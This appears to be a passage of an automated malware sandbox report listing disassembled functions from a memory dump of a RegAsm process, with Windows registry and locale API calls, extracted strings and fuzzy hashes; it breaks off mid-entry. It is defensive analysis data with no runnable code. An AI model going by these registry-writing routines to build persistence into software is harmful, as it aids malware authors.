Instruction Fuzzy Hash: 68926172E5051A9BDF14DEA8CC95BEEBBB4FB58308F044539E512E7281EB68D908CF50

Function 004435F0 Relevance: 47.2, APIs: 10, Strings: 14, Instructions: 5190COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0044370E
__aulldiv.LIBCMT ref: 0044395F
__aulldiv.LIBCMT ref: 00444160
__aulldiv.LIBCMT ref: 00444397

Strings

v, xrefs: 00446F10
%, xrefs: 00447EF5
&, xrefs: 0044832D
eks, xrefs: 00443745, 004479F5, 004485AF, 00448AA0, 00448BB2
, xrefs: 00443CE5
*, xrefs: 0044685C
0, xrefs: 00446CF6
%, xrefs: 004449B8
j3l6lrek, xrefs: 004437EC, 00443836, 00447A9C, 00447AE6, 00448656, 004486A6, 00448B47, 00448B97, 00448C59, 00448CA9
, xrefs: 00443F0D
Y, xrefs: 00446858
h, xrefs: 004446A2
,\MXD, xrefs: 00446660
4, xrefs: 0044469E

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: $ $%$%$&$*$,\MXD$0$4$Y$eks$h$j3l6lrek$v
API String ID: 3732870572-3563976455
Opcode ID: f3e86b025bdd2a93d09474e09e5ed4908b20bab8d55df56c3b584dcb2e586e15
Instruction ID: df9523362fc348fb3252e0e2761c0d2d484b99ed785ec168e41d50cbdf16d5b4
Opcode Fuzzy Hash: f3e86b025bdd2a93d09474e09e5ed4908b20bab8d55df56c3b584dcb2e586e15
Instruction Fuzzy Hash: 23C31370D052688BDB24DB28CC90BEEBBB5BF89308F0481DAD54DA7242DB356E85CF55

Function 0044AA40 Relevance: 43.3, APIs: 9, Strings: 13, Instructions: 4752COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0044AB5E
__aulldiv.LIBCMT ref: 0044AD84

Part of subcall function 0053F2CA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F2D5
Part of subcall function 0053F2CA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F30F

Part of subcall function 0053F279: AcquireSRWLockExclusive.KERNEL32(0058F970,-00005B29,?,004315E2,00591F6C), ref: 0053F283
Part of subcall function 0053F279: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2B6
Part of subcall function 0053F279: WakeAllConditionVariable.KERNEL32(0058F96C,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2C1

Strings

%, xrefs: 0044EF92
, xrefs: 0044B6D5
eks, xrefs: 0044ADBB, 0044EA92, 0044F813
5, xrefs: 0044DD9F
E !" , xrefs: 0044C66C
!, xrefs: 0044B2EE
w, xrefs: 0044D908
j3l6lrek, xrefs: 0044AE62, 0044AEB2, 0044EB39, 0044EB83, 0044F8BA, 0044F904
apey, xrefs: 0044D700
X, xrefs: 0044D900
&, xrefs: 0044BB53
', xrefs: 0044F274
!, xrefs: 0044B0C6

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease__aulldiv$ConditionVariableWake
String ID: $!$!$%$&$'$5$E !" $X$apey$eks$j3l6lrek$w
API String ID: 3477837658-163403330
Opcode ID: cbcec9a19a0a07b99ff0bc1d2c54b97d266fba1f41a34efe59dcfe95aadb586a
Instruction ID: 331f4f4d8afbde97723ae08cf2ef0d0fe41a3ed85f8f7cb314ac7d82f39454ea
Opcode Fuzzy Hash: cbcec9a19a0a07b99ff0bc1d2c54b97d266fba1f41a34efe59dcfe95aadb586a
Instruction Fuzzy Hash: CDB30470D052688BDB24DB29CC90BEEBBB5BF89308F0481DAD54DA7242DB356E84CF55

Function 004233A0 Relevance: 27.1, APIs: 13, Strings: 2, Instructions: 838registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00423404

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00423449
__aulldiv.LIBCMT ref: 00423602
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,00000029,00000000,00000009,00000000,?,00005B39,00000000), ref: 00423628
RegCloseKey.ADVAPI32(?), ref: 0042367B

Strings

j3l6lrek, xrefs: 00423756, 00423791, 00423DCB, 00423E06
eks, xrefs: 00423692, 004236C1, 00423CFB, 00423D36

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek
API String ID: 2588155767-388657971
Opcode ID: 4344793b5baffc9bb94eb2c81a124bc7821178b4acc46f19f55530ac1be7d060
Instruction ID: 89ac4f60369ed8db48761e7eb8052fbb6fdefde58dd7be10d165a874725dbc74
Opcode Fuzzy Hash: 4344793b5baffc9bb94eb2c81a124bc7821178b4acc46f19f55530ac1be7d060
Instruction Fuzzy Hash: DB726C71E002289BEB24CF64DC91BEEBBB5BB88304F148199E509B7381D7786E85CF55

Function 00422580 Relevance: 27.1, APIs: 13, Strings: 2, Instructions: 838registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004225E4

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00422629
__aulldiv.LIBCMT ref: 004227E2
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,00000029,00000000,00000009,00000000,?,00005B39,00000000), ref: 00422808
RegCloseKey.ADVAPI32(?), ref: 0042285B

Strings

j3l6lrek, xrefs: 00422936, 00422971, 00422FAB, 00422FE6
eks, xrefs: 00422872, 004228A1, 00422EDB, 00422F16

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek
API String ID: 2588155767-388657971
Opcode ID: a3b8b69a503d6bbb6885ce2d72ca0787b24e1c121d82c4bef329177f580700cf
Instruction ID: ac53fba801d1d41740238902986479c930a6d37be0aa95108f3dda5988dbac3f
Opcode Fuzzy Hash: a3b8b69a503d6bbb6885ce2d72ca0787b24e1c121d82c4bef329177f580700cf
Instruction Fuzzy Hash: D4725C71E002289BEB24CF64DC91BEEBBB5BB88304F148199E509B7381DB746E85CF55

Function 00421820 Relevance: 27.1, APIs: 13, Strings: 2, Instructions: 836registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00421884

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004218C9
__aulldiv.LIBCMT ref: 00421A82
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,00000029,00000000,00000009,00000000,?,00005B39,00000000), ref: 00421AA8
RegCloseKey.ADVAPI32(?), ref: 00421AFB
__aulldiv.LIBCMT ref: 00421C8B
__aulldiv.LIBCMT ref: 00421CD2
__aulldiv.LIBCMT ref: 00421EA5
RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,?,?,00000000,?,00000000,?,?,?,?,00000029,00000000,00000009), ref: 00421EDC

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00421FF1
__aulldiv.LIBCMT ref: 00422035
RegSetValueExA.ADVAPI32(?,?,?,?,00000001,?,?,00005B39,00000000,00000004,00000000,-00000004,?,00000008,?,-00005B30), ref: 0042214D
RegCloseKey.ADVAPI32(?,?,00000008,?,-00005B30,?,00005B39,00000000), ref: 00422157

Part of subcall function 0053F2CA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F2D5
Part of subcall function 0053F2CA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F30F

Part of subcall function 0053F279: AcquireSRWLockExclusive.KERNEL32(0058F970,-00005B29,?,004315E2,00591F6C), ref: 0053F283
Part of subcall function 0053F279: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2B6
Part of subcall function 0053F279: WakeAllConditionVariable.KERNEL32(0058F96C,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2C1

Strings

j3l6lrek, xrefs: 00421BD6, 00421C11, 00422244, 0042227F
eks, xrefs: 00421B12, 00421B41, 00422174, 004221AF

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$ExclusiveLock$AcquireCloseRelease$ConditionCreateOpenValueVariableWake
String ID: eks$j3l6lrek
API String ID: 4089551861-388657971
Opcode ID: 8972474963dd2fa20c32b9b1e079eb9980bf5791d0c9684e3f78a80e587ca8e0
Instruction ID: 706c339648455304e389ddce7687dbee8ad36f1b9ae4d7f5bd9ac390b852909b
Opcode Fuzzy Hash: 8972474963dd2fa20c32b9b1e079eb9980bf5791d0c9684e3f78a80e587ca8e0
Instruction Fuzzy Hash: 44726C70E002289BEB24CF64DC91BEEBBB5BB98304F148199E509B7381D7746E85CF65

Function 00424660 Relevance: 25.8, APIs: 7, Strings: 7, Instructions: 1312COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 004249F3
__aulldiv.LIBCMT ref: 00424CA8

Strings

r, xrefs: 00425840
j3l6lrek, xrefs: 004247C4, 004247FF, 004254A7, 004254E2, 004257E1, 0042581C, 00425B4E, 00425B89
M, xrefs: 0042531F
eks, xrefs: 004246E2, 0042471D, 004253C5, 00425400, 004256FF, 0042573A, 00425A6C, 00425AA7
7, xrefs: 004250C5
c, xrefs: 0042531B
Q, xrefs: 0042583C

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: 7$M$Q$c$eks$j3l6lrek$r
API String ID: 3732870572-4092431930
Opcode ID: 6cf1c0275ed28282d06e3bf29d9b634ef3a915f61dcdb95474b5fe03ca8c26cc
Instruction ID: 0dceb01fc4bdabbc81fb296392c52ac686950f4020b863ca9e4ff281aaa4ad48
Opcode Fuzzy Hash: 6cf1c0275ed28282d06e3bf29d9b634ef3a915f61dcdb95474b5fe03ca8c26cc
Instruction Fuzzy Hash: 84D21474E002288BDB24CF64DC95BEEBBB5BB89304F1481EAE409A7341DB746E85CF55

Function 004241E0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 284registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00424243

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00424288
__aulldiv.LIBCMT ref: 004243F9
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,00000029,00000000,00000009,00000000,?,00005B39,00000000), ref: 0042441F
RegCloseKey.ADVAPI32(?), ref: 00424472

Strings

j3l6lrek, xrefs: 00424547, 00424576
eks, xrefs: 00424489, 004244B8

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek
API String ID: 2588155767-388657971
Opcode ID: 45998646279c079887ae30a8b28baa4df9dfc81d6141714737cae42e046e8294
Instruction ID: cbcb78d2861e58898c3ca4e8a801512a174ea6586f342bcbb886d8ca593f8f72
Opcode Fuzzy Hash: 45998646279c079887ae30a8b28baa4df9dfc81d6141714737cae42e046e8294
Instruction Fuzzy Hash: 31C14870E00218ABDB14CFA5DC91BAEBBB5FF88304F14819AE509B7381DB746A85CF55

Function 004213A0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 284registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00421403

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00421448
__aulldiv.LIBCMT ref: 004215B9
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,00000029,00000000,00000009,00000000,?,00005B39,00000000), ref: 004215DF
RegCloseKey.ADVAPI32(?), ref: 00421632

Strings

j3l6lrek, xrefs: 00421707, 00421736
eks, xrefs: 00421649, 00421678

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek
API String ID: 2588155767-388657971
Opcode ID: decca7bfe275160c390c9273f9f0d714058d1f796de03e5545ed64b6736707f9
Instruction ID: 9cf3ca039a3be0d4d9af5757eacf6668953db910ad9b992cd4302a1853421803
Opcode Fuzzy Hash: decca7bfe275160c390c9273f9f0d714058d1f796de03e5545ed64b6736707f9
Instruction Fuzzy Hash: D7C18B70E002189FEB14CFA5DC81BAEBBB5BF98304F14819AE409B7391DB786A45CF55

Function 005636CC Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 005638E3

Strings

1#QNAN, xrefs: 005637DF
1#INF, xrefs: 00563802
1#SNAN, xrefs: 005637D8
1#IND, xrefs: 005637D1

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 32c4ddc060c33e4ceed08dfc24a219ec65cb95b754b553f2c03eb4c647905489
Instruction ID: a8a6e04c47ad13282e5f62f821ef3c3dbc654b50f5b9c029097f1abbe7399116
Opcode Fuzzy Hash: 32c4ddc060c33e4ceed08dfc24a219ec65cb95b754b553f2c03eb4c647905489
Instruction Fuzzy Hash: F1D23B71E082298FDB65CE28DD447EABBB5FB84305F1445EAD40DE7240EB78AE858F41

Function 00405640 Relevance: 9.8, Strings: 7, Instructions: 1049COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 00406111
unknown header flags set, xrefs: 004059EE
@, xrefs: 00407708
incorrect header check, xrefs: 0040585F
unknown compression method, xrefs: 00405883, 004059C8
invalid window size, xrefs: 004058E1
??, xrefs: 0040593D

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ??$@$header crc mismatch$incorrect header check$invalid window size$unknown compression method$unknown header flags set
API String ID: 0-3896373224
Opcode ID: 507a1e41b1e987e62a47d03614c581e44c9ecbc7c66812552cc75c6fefc95997
Instruction ID: 988c5d97e9e916af17625776eed68bed811139cd059b59fe07a207a81e9eacd4
Opcode Fuzzy Hash: 507a1e41b1e987e62a47d03614c581e44c9ecbc7c66812552cc75c6fefc95997
Instruction Fuzzy Hash: 0AB2C874A00609DFDB04CF98C594AAEBBB2FF88304F2481A9D4056B385D779EE42DF95

Function 00441320 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 0053F2CA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F2D5
Part of subcall function 0053F2CA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F30F

__aulldiv.LIBCMT ref: 00441631

Part of subcall function 0053F279: AcquireSRWLockExclusive.KERNEL32(0058F970,-00005B29,?,004315E2,00591F6C), ref: 0053F283
Part of subcall function 0053F279: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2B6
Part of subcall function 0053F279: WakeAllConditionVariable.KERNEL32(0058F96C,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2C1

Strings

i, xrefs: 004413F1
|, xrefs: 004413F5
j3l6lrek, xrefs: 00441749, 00441778
eks, xrefs: 0044168B, 004416BA

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake__aulldiv
String ID: eks$i$j3l6lrek$|
API String ID: 2808616827-3566545685
Opcode ID: a10dce38892b3f7f11f98f68a38cfdee3663be3cd12a63fc330b90fe57ce4e1e
Instruction ID: 321e34004e65da2f0e8695ff276238e35a1d9152a31f89fadb9475d3beef9391
Opcode Fuzzy Hash: a10dce38892b3f7f11f98f68a38cfdee3663be3cd12a63fc330b90fe57ce4e1e
Instruction Fuzzy Hash: E2E16674D002189FDF14DFA9C881BEEBBB1BF49304F1481AAE509A7351DB346A89CF65

Function 0056198D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00561C9F,00000002,00000000,?,?,?,00561C9F,?,00000000), ref: 00561A26
GetLocaleInfoW.KERNEL32(?,20001004,00561C9F,00000002,00000000,?,?,?,00561C9F,?,00000000), ref: 00561A4F
GetACP.KERNEL32(?,?,00561C9F,?,00000000), ref: 00561A64

Strings

OCP, xrefs: 005619E1
ACP, xrefs: 005619AB

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 2113e3bc804042f240a17880f4ce4ac3704846396c0998f76672a70c69bfa294
Instruction ID: ff468ebb7578f21be4ad596448789ca13c6f7acd66c74596e1855d01ff835b2b
Opcode Fuzzy Hash: 2113e3bc804042f240a17880f4ce4ac3704846396c0998f76672a70c69bfa294
Instruction Fuzzy Hash: 2F21A422B01900AADB348FA5C901BB77BA6FF50B51B5E8424E90AD7215E732DE40D3D8

Function 0042D420 Relevance: 8.0, APIs: 5, Instructions: 492COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042D5B2

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042D7B0

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 269682180b1c67927386e04b2b37ba431b1c513f46b4d427e00e3fb79703168c
Instruction ID: b5fe5e1a67e901300c28e48e39c11fc9c8bb8f798d01e21f33c9d633a402eed6
Opcode Fuzzy Hash: 269682180b1c67927386e04b2b37ba431b1c513f46b4d427e00e3fb79703168c
Instruction Fuzzy Hash: 46127EB5E002199BEB14DF65DC41BEEBBB5BF88304F1481A9E809B7381DB746E848F54

Function 005611F4 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B071: GetLastError.KERNEL32(00000000,00553FDB,0055E5E2), ref: 0055B075
Part of subcall function 0055B071: SetLastError.KERNEL32(00000000,00000000,-000668A0,00000006,000000FF), ref: 0055B117

GetACP.KERNEL32(?,?,?,?,?,?,00556FB6,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 005612B3
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00556FB6,?,?,?,00000055,?,-00000050,?,?), ref: 005612EA
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0056144D

Strings

utf8, xrefs: 005613BC

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 366f4ab4fc0e797a5b1765e2c2743fb736d2819fa48c160778e9ed69748ec3a1
Instruction ID: 001be722cfe35076a286fb1f9af4bf9a6ad2bbd75c897c2533a89196f9fa0d19
Opcode Fuzzy Hash: 366f4ab4fc0e797a5b1765e2c2743fb736d2819fa48c160778e9ed69748ec3a1
Instruction Fuzzy Hash: 50711835700B06ABDB24AB75CC9ABBA7FA8FF45740F18482AF906D7181EB74D844C758

Function 004210E0 Relevance: 6.3, APIs: 4, Instructions: 252COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042114D

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004211CB
__aulldiv.LIBCMT ref: 00421290

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 5cb40b4a502a7444189e540eb32b47479923238711f6d1233f17ab6dbd82aa87
Instruction ID: c31c8c0edc7fab6b23bc57d343544ce6c73f64aea71d8fd4619daab7bd452688
Opcode Fuzzy Hash: 5cb40b4a502a7444189e540eb32b47479923238711f6d1233f17ab6dbd82aa87
Instruction Fuzzy Hash: BC916EB1E00218AFEB14DFA4DC41FAEB7B9BB98714F208519F904BB394D7746D018B64

Function 00517830 Relevance: 5.6, Strings: 1, Instructions: 4379COMMON

Download Yara Rule

Strings

P, xrefs: 00517871

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 915e862cd3cc5f3ef9eed2e12f4c806ca933e3c91bb7527902dbc165de324d59
Instruction ID: d04abd447d0f9105722b03f60e459ab456e50f120e15a4d62516e4ae2ce372f0
Opcode Fuzzy Hash: 915e862cd3cc5f3ef9eed2e12f4c806ca933e3c91bb7527902dbc165de324d59
Instruction Fuzzy Hash: 2BA31E75A002198BEB58CFACD954B9DBBB6FF88300F2581B9DD5997790DA30AE41CF40

Function 00513840 Relevance: 5.4, Strings: 2, Instructions: 2897COMMON

Download Yara Rule

Strings

@, xrefs: 0051387A
B+A, xrefs: 00513971, 00513BF7, 00513E7B, 00514100, 00514392, 0051462C, 005148C3, 00514B5B, 00514DF4, 0051508E, 00515328, 005155C0, 0051585B, 00515AF5, 00515D8C, 00516024

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: @$B+A
API String ID: 0-3040101116
Opcode ID: 73357da25e7880b934f1abc06a000188f7a3233c0e2c0b020d764b8f80d0c642
Instruction ID: de811e217bc8f9310a2b35ddcfc4559874bc79631443052a5f82236785079b26
Opcode Fuzzy Hash: 73357da25e7880b934f1abc06a000188f7a3233c0e2c0b020d764b8f80d0c642
Instruction Fuzzy Hash: 044350F2B001188BEB1CCF6CE99579D7AA6FBC8300F654179DB199B784EA34AD41CB44

Function 005407DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,00000000,00000002,?,?,0041F6CD,?,00000000), ref: 005407F3
FormatMessageA.KERNEL32(00001300,00000000,?,00000000,0041F6CD,00000000,00000000,?,?,0041F6CD,?,00000000), ref: 0054081A

Strings

!x-sys-default-locale, xrefs: 005407EE

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 20989b94304a7defb237158a79aa7857ec4fe8fe38480a26bcda83b1aef4dd94
Instruction ID: d030cbafc314be3d6649d2dc8b203454fc4665d2e2a67bf0801727ff23714bc7
Opcode Fuzzy Hash: 20989b94304a7defb237158a79aa7857ec4fe8fe38480a26bcda83b1aef4dd94
Instruction Fuzzy Hash: 7FF01C75610105FFEB049B95DD0ADEB7AACEB09754B104015FA41E6180E2B0AE0097B0

Function 00561611 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0055B071: GetLastError.KERNEL32(00000000,00553FDB,0055E5E2), ref: 0055B075
Part of subcall function 0055B071: SetLastError.KERNEL32(00000000,00000000,-000668A0,00000006,000000FF), ref: 0055B117

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00561665
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005616AF
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00561775

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: abb3b118be23b05544620ad42b731f955b6014f661306db9c610c23b11932163
Instruction ID: a18463d7d08820133f48a19ef28bab89c5551c64c3599a9a34ec9a0435802122
Opcode Fuzzy Hash: abb3b118be23b05544620ad42b731f955b6014f661306db9c610c23b11932163
Instruction Fuzzy Hash: A0619171910A079FEB28DF28CD86BBABBA9FF44300F184179E905C7185EB38D985DB54

Function 0057B914 Relevance: 4.1, Strings: 1, Instructions: 2810COMMON

Download Yara Rule

Strings

@, xrefs: 0057CC48

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 575ab5597a58bdbd73b9daca75d686a78be0c77bfc9181a539a52f306daf65d5
Instruction ID: a16118f876575951d2242df47e5fcb723a1d84ff3e14f1ab82d85df82722931a
Opcode Fuzzy Hash: 575ab5597a58bdbd73b9daca75d686a78be0c77bfc9181a539a52f306daf65d5
Instruction Fuzzy Hash: 7523327241C3D05EDB178B74666A2957FA0BF13320B2D85DEC8C84F4B3C3989856E79A

Function 0054100D Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,0056B48D,000000FF,?,00540CD3,?,?,?,?,0042C45B), ref: 00541045
GetSystemTimeAsFileTime.KERNEL32(?,77465D17,?,?,0056B48D,000000FF,?,00540CD3,?,?,?,?,0042C45B), ref: 00541049

Memory Dump Source

